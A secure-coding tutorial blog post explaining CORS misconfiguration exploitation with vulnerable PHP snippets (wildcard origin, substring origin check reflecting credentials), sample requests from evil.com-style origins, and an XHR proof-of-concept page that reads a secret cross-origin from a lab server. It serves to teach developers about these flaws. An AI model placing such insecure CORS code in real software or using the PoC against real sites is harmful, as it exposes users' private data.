Secure coding

Poor HTTP Usage Exploitation Case Study

December 8, 2020 by Srinivas

In the previous articles on HTTP related vulnerabilities, we discussed how HTTP uses requests and responses for communication and how poor HTTP usage can be exploited. In this article, we will discuss a practical example of a misconfiguration that can lead to sensitive information disclosure. 

Cross Origin Resource Sharing misconfigurations are commonly seen in the wild in web applications and there have been several bug bounty reports publicly available showing the impact of these misconfigurations. For example: https://hackerone.com/reports/769058. Let us take a closer look at what causes these misconfigurations and how they can be exploited.

What is CORS?

CORS stands for Cross-Origin Resource Sharing. Because of the same origin policy, by default Cross Origin Interactions are disabled in browsers for safety purposes. To relax this restriction, developers can use CORS features to allow for a web application to expose resources to all or restricted domains. This will enable a web client to make XMLHttpRequests for resources on other domains.

Exploiting misconfigured CORS

Let us go through some of the commonly seen misconfigurations associated with Cross Origin Resource Sharing.

Example 1:

Let’s consider the following example of a website’s server side code.

<?php

header(“Content-Type: text/plain”);

header(‘Access-Control-Allow-Origin: *’);

echo “You got your secret – S3cr3t”;

?>

 

This is a classic example of misconfigured Cross Origin Resource Sharing example especially when the secret being served is not intended to be shared with ANY domain.

One can submit an XHR request from any origin and the secret will be returned to the client by the server.

Request:

GET /cors/cors1.php HTTP/1.1

Host: 192.168.1.106

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Origin: http://evil.com

Connection: close

Referer: http://192.168.1.106/cors/

Upgrade-Insecure-Requests: 1

 

Response:

HTTP/1.1 200 OK

Date: Sun, 13 Dec 2020 04:46:38 GMT

Server: Apache/2.4.18 (Ubuntu)

Access-Control-Allow-Origin: *

Content-Length: 28

Connection: close

Content-Type: text/plain;charset=UTF-8

You got your secret – S3cr3t

 

As we can notice, the response contains the secret requested. It should be noted that the Origin is set to evil.com. However, Access-Control-Allow-Origin header has a wildcard leaving the server to respond to any XHR requests from any origin.

Example 2:

Let’s consider the following example of a website’s server side code.

<?php

header(“Content-Type: text/plain”);

if(isset($_SERVER[“HTTP_ORIGIN”])) 

{

$origin = $_SERVER[“HTTP_ORIGIN”];

if (strpos($origin, ‘site.com’) !== false){

    header(“Access-Control-Allow-Origin: ” . $origin);

    header(“Access-Control-Allow-Credentials: true”);

    echo “You got your secret – S3cr3t”;

}

}

else

{

    echo “Try again and get your secret :)”;

}

 

This is another commonly seen misconfiguration with Cross Origin Resource Sharing. The developer looks for the presence of the string “site.com” in the value of the Origin header. 

One can originate an XHR request from an origin that contains the string site.com and the request will be allowed. Following is an example showing how this works.

Request:

GET /cors/cors3.php HTTP/1.1

Host: 192.168.1.106

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Origin: http://evilsite.com

Connection: close

Referer: http://192.168.1.106/cors/

Upgrade-Insecure-Requests: 1

 

Response:

HTTP/1.1 200 OK

Date: Sun, 13 Dec 2020 05:00:57 GMT

Server: Apache/2.4.18 (Ubuntu)

Access-Control-Allow-Origin: http://evilsite.com

Access-Control-Allow-Credentials: true

Content-Length: 28

Connection: close

Content-Type: text/plain;charset=UTF-8

You got your secret – S3cr3t

 

As we can notice, once again the response contains the secret requested. The Origin http://evilsite.com contains the string site.com and it will be allowed by the server.

As an attacker, one needs to host a malicious page on the domains specified in the Origin headers and lure a victim who is logged in to the vulnerable site to visit it. As proof of concept, the following code can be used to trigger an XHR request from the attacker’s site to exploit the scenarios specified in both the examples.

Proof of concept code:

<!DOCTYPE>

<html>

<h1> XHR PoC </h1>

<script type = “text/javascript”>

function  exploit()

{

var xhrreq;

if ( window .XMLHttpRequest)

{

xhrreq = new XMLHttpRequest();

}

else

{

xhrreq = new ActiveXObject( “Microsoft.XMLHTTP” );

}

xhrreq.onreadystatechange = function ()

{

if (xhrreq. readyState == 4 && xhrreq.status == 200 )

{

var data=xhrreq.responseText;

console.log(data);

alert(data);

}

}

xhrreq.open(“GET” , “http://192.168.1.106/cors/cors1.php” , “true” )

xhrreq.send();

}

exploit();

</script>

</html>

 

When this page is visited by a victim, the XHR request will be triggered in the background and the information will be retrieved as shown below.

Access-Control-Allow-Credentials response header

In the second example shown earlier, you should have noticed Access-Control-Allow-Credentials response header with the value set to true by the server. This is extremely dangerous in cases where wild card origins are allowed by the server as anyone will be able to make XMLHttpRequests using the victim’s cookies. For this reason, when Access-Control-Allow-Origin: * is used, no other combination is supported by default. 

Let us attempt to set this in our XMLHttpRequest and load the page.

XHR Code:

<!DOCTYPE>

<html>

<h1> XHR PoC </h1>

<script type = “text/javascript”>

function  exploit()

{

var xhrreq;

if ( window .XMLHttpRequest)

{

xhrreq = new XMLHttpRequest();

}

else

{

xhrreq = new ActiveXObject( “Microsoft.XMLHTTP” );

}

xhrreq.onreadystatechange = function ()

{

if (xhrreq. readyState == 4 && xhrreq.status == 200 )

{

var data=xhrreq.responseText;

console.log(data);

alert(data);

}

}

xhrreq.open(“GET” , “http://192.168.1.106/cors/cors1.php” , “true” )

xhrreq.withCredentials = true;

xhrreq.send();

}

exploit();

</script>

</html>

 

If we load this page in a browser, the following warning will be shown in the web console.

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at ‘http://192.168.1.106/cors/cors1.php’. (Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’).

 

From a security perspective, this is a great feature to prevent unwanted cross origin attacks.

Conclusion

In this article, we discussed how simple misconfigurations can lead to security problems in applications making use of HTTP protocol. We specifically discussed attacks based on Cross Origin Resource Sharing as an example. But, misconfigurations and coding mistakes can happen in several other places when applications are developed and developers and security practitioners must be aware of these issues and appropriate ways to avoid them. In the next article, we will discuss how to avoid poor HTTP usage. 

 

Sources

  1. https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview
  2. https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials
  3. https://portswigger.net/web-security/cors/access-control-allow-origin
Posted: December 8, 2020
Articles Author
Srinivas
View Profile

Srinivas is an Information Security professional with 4 years of industry experience in Web, Mobile and Infrastructure Penetration Testing. He is currently a security researcher at Infosec Institute Inc. He holds Offensive Security Certified Professional(OSCP) Certification. He blogs atwww.androidpentesting.com. Email: srini0x00@gmail.com


Notice: Undefined index: visitor_id12882 in /www/resourcesinfosecinstitute_601/public/wp-content/plugins/infosec-user-info/infosec-user-info.php on line 117